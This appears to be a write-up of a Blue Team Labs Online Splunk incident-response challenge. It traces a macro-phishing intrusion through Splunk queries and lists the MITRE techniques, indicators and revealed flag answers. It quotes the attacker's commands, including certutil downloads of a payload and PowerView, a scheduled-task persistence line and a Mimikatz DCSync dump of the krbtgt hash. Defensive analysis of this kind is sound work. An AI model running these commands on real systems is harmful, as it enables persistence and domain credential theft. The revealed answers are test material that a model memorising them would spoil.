// BTLO  ·  Incident Response

Splunk It

BTLO Easy Splunk BTL1
Credential Access, Collection

Overview

An employee opened a malicious Invoice document, enabling macros and triggering a full attack chain. Starting from an initial phishing foothold, the attacker used certutil to pull down a payload, established persistence via a scheduled task disguised as a Microsoft Teams update, performed AD reconnaissance with PowerView, then dumped domain credentials using Mimikatz DCSync targeting the krbtgt account.


Investigation

Initial Access — Invoice Phishing

Searching across all indexes for activity related to the Invoice document:

index=* "invoice"

Sysmon logs show the Invoice document was opened from the Downloads directory, with a Trusted Documents registry entry confirming the user enabled macros. The file was downloaded from: 139[.]59[.]21[.]147:8080 splunkit_invoice.png

Payload Delivery — certutil Download

Following macro execution, the attacker used certutil.exe to pull down a secondary payload — a classic LOLBAS technique to bypass download restrictions:

cmd.exe /c certutil -urlcache -split -f "hxxp[://]24[.]199[.]117[.]142:1337/svchost.exe" "C:\Windows\Temp\svchost.exe"

The file was saved to C:\Windows\Temp\svchost.exe — masquerading as a legitimate Windows process name. splunkit_svvhost.png

Compromised User

All malicious activity traces back to domain user CYBERRANGE\ricksanchez.

Persistence — Scheduled Task

Filtering Sysmon process creation events for ricksanchez and schtasks:

index=* User="CYBERRANGE\\ricksanchez" "schtasks.exe"

The attacker created a scheduled task set to run at logon, launching the previously dropped svchost.exe from Temp:

schtasks.exe /create /tn "Microsoft Teams Updater" /sc onlogon /tr C:\Windows\Temp\svchost.exe

Task name Microsoft Teams Updater — designed to blend in with legitimate Microsoft software. T1053.005. splunkit_schtask.png

Reconnaissance — PowerView

Searching for PowerShell script execution under ricksanchez:

bash

index=* User="CYBERRANGE\\ricksanchez" ".ps1"

The attacker pulled PowerView directly from the PowerSploit GitHub repo using certutil:

certutil.exe -urlcache -f https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 PowerView.ps1

PowerView is the go-to AD enumeration script — used here to map the domain prior to credential dumping. T1059.001. splunkit_powerview.png

Credential Dumping — Mimikatz DCSync

The same .ps1 search surfaced Mimikatz execution. The attacker ran Invoke-Mimikatz with the DCSync module targeting the krbtgt account:

powershell.exe . .\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -Command '"lsadump::dcsync /domain:CYBERRANGE.local /user:krbtgt"'

splunkit_mimikat.png DCSync (T1003.006) impersonates a domain controller and requests password replication — dumping the krbtgt hash without ever touching LSASS directly. With krbtgt compromised, the attacker has everything needed for a Golden Ticket attack. splunkit_dcsync.png


MITRE ATT&CK

Tactic Technique Description
Initial Access T1566.001 Phishing — malicious Invoice document
Execution T1059.001 PowerShell — macro execution, PowerView, Mimikatz
Defense Evasion T1036.005 Masquerading — svchost.exe in C:\Windows\Temp
Defense Evasion T1140 Deobfuscate/Decode — certutil -urlcache download
Persistence T1053.005 Scheduled Task — Microsoft Teams Updater
Discovery T1482 Domain Trust Discovery — PowerView
Discovery T1069.002 Domain Groups — PowerView AD enumeration
Credential Access T1003.006 DCSync — krbtgt hash via Mimikatz
Command & Control T1105 Ingress Tool Transfer — certutil payload delivery

IOCs

Type Value
IP 139[.]59[.]21[.]147
IP 24[.]199[.]117[.]142
URL hxxp[://]139[.]59[.]21[.]147:8080
URL hxxp[://]24[.]199[.]117[.]142:1337/svchost.exe
File C:\Windows\Temp\svchost.exe
File C:\Windows\Temp\PowerView.ps1
File C:\Windows\Temp\Invoke-Mimikatz.ps1
Scheduled Task Microsoft Teams Updater
Domain User CYBERRANGE\ricksanchez

Did one of the employees inform you about a recent phishing email they received named "Invoice" during the investigation? Can you locate the IP address from which the file was downloaded?
Click flag to reveal 139[.]59[.]21[.]147:8080
What is the file that was downloaded after the malicious document was opened? Please provide the complete path where the file was downloaded and saved.
Click to reveal answer C:\Windows\Temp\svchost.exe
What is the URL from which additional files were being downloaded?
Click flag to reveal hxxp[://]24[.]199[.]117[.]142:1337/svchost.exe
Which domain user seemed to be compromised?
Click to reveal answer ricksanchez
Could you check if there were any persistent actions detected? Please name the program utilized.
Click flag to reveal schtasks.exe
What is the name of the task employed for maintaining persistence?
Click to reveal answer Microsoft Teams Updater
What famous script, commonly used by attackers, was dropped as an additional file to facilitate internal reconnaissance and enumeration?
Click flag to reveal PowerView.ps1
What additional file was deployed by the attacker to extract credentials?
Click to reveal answer Invoke-Mimikatz.ps1
What technique for credential dumping, similar to a known method often used in domain controller environments, was employed by the attacker?
Click flag to reveal DCSync